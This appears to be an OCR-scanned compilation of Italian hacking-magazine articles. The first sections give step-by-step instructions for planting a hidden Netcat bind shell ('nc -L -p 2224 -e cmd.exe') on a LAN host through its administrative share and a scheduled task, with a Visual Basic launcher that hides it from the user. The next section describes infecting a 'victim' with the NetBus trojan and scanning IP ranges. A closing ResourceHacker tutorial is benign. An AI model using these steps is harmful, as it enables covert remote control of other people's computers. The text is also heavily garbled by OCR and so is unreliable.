Il parametro -L istruisce netcat a mantenere apanp@arta e restare in ascolto
anche quando il programma eseguito con il comaed@ene interrotto. Cosi si
potra entrare e uscire dal sistema a piacere.

Un avvertimento necessario: questa tecnica e pesissima! Aprire una back-
door in questo modo, aprire una shell senza lepme di una password & qua-
si un suicidio, significa spalancare una portasitema a chiunque. Se lo fate su
un vostro sistema, se proprio dovete farlo, fapeloperiodi brevissimi e su porte
non standard o non facilmente intuibili (9999 e 4280n vanno benissimo).

Con Netcat controlli e gestisci al meglio i PC delltua rete

Con questo articolo voglio spiegarvi un trucco jpeter non solo esplorare le
risorse condivise, ma eseguire anche comandi ei@/programmi su un altro
host nella propria LAN, sfruttando lo stesso prottac

Beh... fino a qui parecchi possono pensare cheda sia simile NC o
Desktop Remotoma il vantaggio di questo procedimento sta rigb fehenon &
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necessario né installare né configurare nulla sul®da controllare: in parole
povere si fa tutto "da remoto", senza lasciar feaed in maniera piu "silenziosa
del Desktop Remoto.

L'unica cosa necessaria sono i privilegi di Amntnaiwore.

Cominciamo accedendo alle risorse condivise deli'da controllare:
ammettiamo che il suo indirizzo sia 192.168.1.3ndjun Start - Esegui
scriveremo \\192.168.1.3.

Visualizzeremo ora le cartelle condivise dell'hagtiiamo quella di nome
Operazioni Pianificate.

Clicchiamo con il pulsante destro su un punto vulia cartella e scegliamo
Nuovo.

A questo punto verra creato un nuovo file; apriam@bavremo di fronte questa
finestra:

Ora sul campo Esegui scriveremo il nostro comaradionghartire o I'applicazione
da aprire, sul campo Esegui come, assicuratevticsia scritto il nome
dell'host \ utente di quell’host.

Sinceriamoci che sia abilitata I'opzione Attivata
Ora spostiamoci sulla scheda Pianificazione:

Impostiamo la pianificazione idna sola voltae selezioniamo il giorno odierno;
per quanto riguarda I'ora di avvio dobbiamo impdatan minuto avanti
all'orario corrente (cosi il comando verra eseguéain minuto), clicchiamo su
Applica, poi OK ed il gioco ¢ fatto: tra un mindtoost eseguira I'operazione da
noi impartita e soprattutto l'operazione verra egaga nome dell'altro utente.

Creiamoci direttamente una Shell

Oltre ad eseguire un comando, grazie a questodnuassiamo anche aprire una
finestra di comando: per farlo ci viene in aiutbilon vecchio Netcat.

Scompattiamo I'archivio e copiamo il file nc.exdlaeartella Windows
dell'host, tale cartella & sempre condivisa pepisemministrativi e si pud
raggiungere cosi: \192.168.1.3\c$\Windows

Ovviamente l'indirizzo IP & quello del vostro hdatcontrollare.

Ora torniamo nella cartella Operazioni Pianificééd'host, creiamo una nuova
operazione come prima, ma nel comando da eseguivasno nc -L -p 2224 -e
cmd.exe .

Questo comando impone a Netcat di mettere in ascoit.exe sulla porta 2224:
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in questo modo, noi potremo connetterci a talegpoon un terminale testuale
(Telnet PUTTY.. ecc). Ci rispondera cmd.exe, e potremmo quisegaire i
comandi dos nell’host remoto.

Ricordatevi di impostare l'orario dell'operazione panificata un minuto
avanti all'orario corrente ; clicchiamo su Applica, OK.

(Aspettiamo un minuto, il tempo che I'host eseduaerazione....) e come potete
vedere nell'immagine qua sotto, collegandosi aldgp2224 dell'host avremo un
accesso diretto ad esso tramite interfaccia a liheamando; potete quindi
impartire i comandi testuali come se vi trovassechmente di fronte al terminale
remoto

Perd Netcat nell'host non viene eseguito in madalitscosta: alla sua apertura
compare una finestra, e questo potrebbe risultam@sdo, specialmente se in
quel PC ci sta lavorando un utente.

Per eseguire Netcat in modalita nascosfaossiamo realizzare uraunchey
ossia un programma che esegua Netcat in manigsihite; ovviamente
nell'operazione pianificata dovremmo impostaresbegione del Launcher (e
non direttamente Netcat)

Il Launcher si puo scrivere in tre righe di Visialsic, utilizzando l'istruzione
Shell:

visualizza in puro testmpia negli appurgtamp&
Private Sub Form_Load ()

Form1l.visible = False
Shell ("nc -L -p 2224 -e cmd.exe"), vbHide

Unload Form1

CoNoOOR~WDNE

End Sub

Creiamo I'eseguibile, denominiamolo ncLauncheresgepiamolo nella cartella
Windows dell'host remoto (dove avevamo precedeméne@osizionato nc.exe).

Ora andiamo a creare la nostra operazione piatafivalla stessa maniera di
prima, ma come comando da eseguire impostiamo mcleu.exe.
(Ricordiamoci ancora di impostare I'esecuzione uruto avanti all'orario
corrente).

Cosi viene eseguito il Launcher (in modalita natgoshe a sua volta esegue
Netcat (anch'esso in modalita nascosta). E noaatbia nostra shell "spawned"
nascosta senza disturbare I'utente dell'host.
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Sicurezza - NetBus.

Come infettare e controllare il computer dellainitt

NetBus, programma per apprendisti. Infettare erotlate il COmputerdella
vittima. 1l funzionamento pratico.

NetBus é il software piu usato dagli apprendistkess. Essendo un programma
client-server si divide in due file che vanno esggmmo sul server (vittima) e

uno sul client (hacker). Si usa in fase di apprstatlh perche consente di piratare
un PC senza avere troppe conoscenze informatiche.

Info avanzate:

NETBUS é un programma di BACKDOOR, grazie a questgramma I'hacker
puo teleguidare il vostro computer. E' molto pioleto di Back Orifice e ha una
interfaccia molto piu semplice. Bisogna solo coreosd'indirizzo IP del
computer da colpire (non e difficile ottenerloplstire la connessione e premere
i pulsanti del programma client (quello dell'hadkesme Open CD-ROM che fa
aprire e chiudere il cassettino del CD-ROM del seremoto (la vittima) e
moltissimi altri comandi intuitivi.Cid che lo renggt evoluto degli altri
programmi di back door € la possibilita di farestansione automatica degli
indirizzi IP, in questo modo I'hacker non deve fiteesequenzialmente ogni
indirizzo IP ma sara il programma stesso a farrsedmsione. In piu c'e la
possibilita di avere piu hackers che piratano imuianea una stessa vittima.

Istruzioni per l'uso di Netbus:

Il programma comprende due file entrambi fornitham Trojan: il lato client
(NETBUS.EXE) e il lato server (PATCH.EXE).Il laterser € il file con
dimensione minore ed ¢ il file che infetta il cortgyudel malcapitato; deve
essere eseguito sul PC della vittima; il nome iflelef PATCH.EXE (ma il nome
puo essere modificato a proprio piacimento); ilgpeanma e difficilmente
visibile e si carica anche dopo successivi riagtelicomputer.|l lato client € il
file che usa I'hacker per spiare (o distrugger&)ttana; ha un interfaccia
semplicissima a pulsanti; bisogna solo inseringitizzo IP del computer infetto
e premere "Connect!" per stabilire la connessiamaa si conosce l'indirizzo IP
della vittima si puo fare la scansione di un ceatoge di indirizzi:Con NetBus
1.70 basta inserire nel campo "host name/IP" xxxxxx.0+255 (dove xxx & un
numero compreso tra 0 e 255) e premere "Scan§uésto modo Netbus
controllera gli indirizzi da xxx.xxx.xxx.0 a XXx.%xxx.255.



Resource Hacker

Sicuramente vi sarete chiesti come fanno gli sntamies modificare i program-
mi cambiandogli il nome, l'icona, il testo o I'imgiae ad esso associata. Beh.. vi
tranquillizzo dicendovi che non € per nulla un'@zésne da "cracker", come
molti sostengono, e non richiede nessuna abilt@rmscenza di alcun tipo di
linguaggio di programmazione, basta munirsi di go@lstrumento che permette
di aprire il programma e visualizzarne il contenuperazioni che ai tempi di
ms-dos venivano fatte usando il debug.

Uno strumento molto utile, gli esperti in mater@avra gia sentito parlare, &
ResourceHacker meglio noto com&esHacker

Vediamo di fare un breve esempio per capire comeidma e cosa possiamo
fare. Innanzitutto scarichiamo ResHacker dal diticiale, oppure dal link
diretto. Non si installa, basta scompattare il file zippead estrarre tutto in una
cartella.

™| Dislegs, daf (2™ s tat
= 1=
= =
4 ResHacher ot
“,"g"' gk esHedker.pun
EEE ) Se AT A,
flesHacker hip ™ Vewsion_Heshory b

Q"

Apriamo la cartella e clicchiamo sul fiResHacker.exeper lanciare il
programma.

Modifichiamo Google Talk

In questo esempio vedremo come modificare I'apglicee_Google Talk
operazione che ho gia fattiuando Google ha lanciato per la prima volta il
programma, per cambiare la lingua da inglese iaital

Attenzione! Vi consiglio di fare una copia del programma pétage di
danneggiarlo nel caso in cui viene commesso quanioee. L'applicazione
dovrebbe trovarsi su C:\Programmi\Google\Googl&\Galogletalk.exe
facciamone una copia e chiamiamgtaogletalktest.exe

Lanciamo quindi ResHacker e clicchiamoFsie => Opene cerchiamo la nostra
applicazione
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Clicchiamo swApri e tutte le informazioni contenute nell'applicazisaeganno
caricate su ResHacker.

Adesso possiamo lavorare sul file. Nella scherrdaResHacker, a sinistra, &
presente un menu che contiene diverse voci, og

nuna richiama un oggetto presente nell'applicazione

Cliccando ad esempio fialog/131/0corrisponde la chiamata di una form che
visualizza un errore di connessione

EW Besiiiw Flalerr Wit avees (W o oo be 1o igpoint et Bl i

FALSE, 1§

CERTRGL T LD, BTATIC, BE_ACN | S50
CORTRML “Could @it Edanect €0 sEtvec
* comTmL 2 =
=211 CONTROL

L 1 ¥

NellaCAPTION viene dichiarato il nome della form che verra &peun po
come il titolo di un sito web. Alla voce CAPTIONdia cambiare il testo che si
trova tra le virgolette (") per maodificare il nordella form.

Mentre SUCONTROL viene inserito il messaggio che deve visualizzanehe
qui bastera cambiare il testo tra le virgolette (")

Finite le modifiche, clicchiamo in alto €€ompile Script ed ecco come apparira
la nuova form
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by [eling

Le stesse operazioni vanno eseguite per tuttehe, fimoltre & possibile sostituire
una immagine, una icona, un file audio, I'importache tali file vengano salvati
con lo stesso nome che avevano originariamentamaltti la chiamata
all'oggetto non viene riconosciuta.

ResHacker & un ottimo programma per iniziare aagiscon queste piccole cose
ma se lo si conosce affondo permette di agiretdiretnte sul codice e
manomettere ad esempio una dll o qualche altralfigésstema. Esistono
programmi molto piu professionali per craccare mastp esempio € solo una
dimostrazione che vuole evidenziare quanto sia Beenpgire sugli eseguibili.
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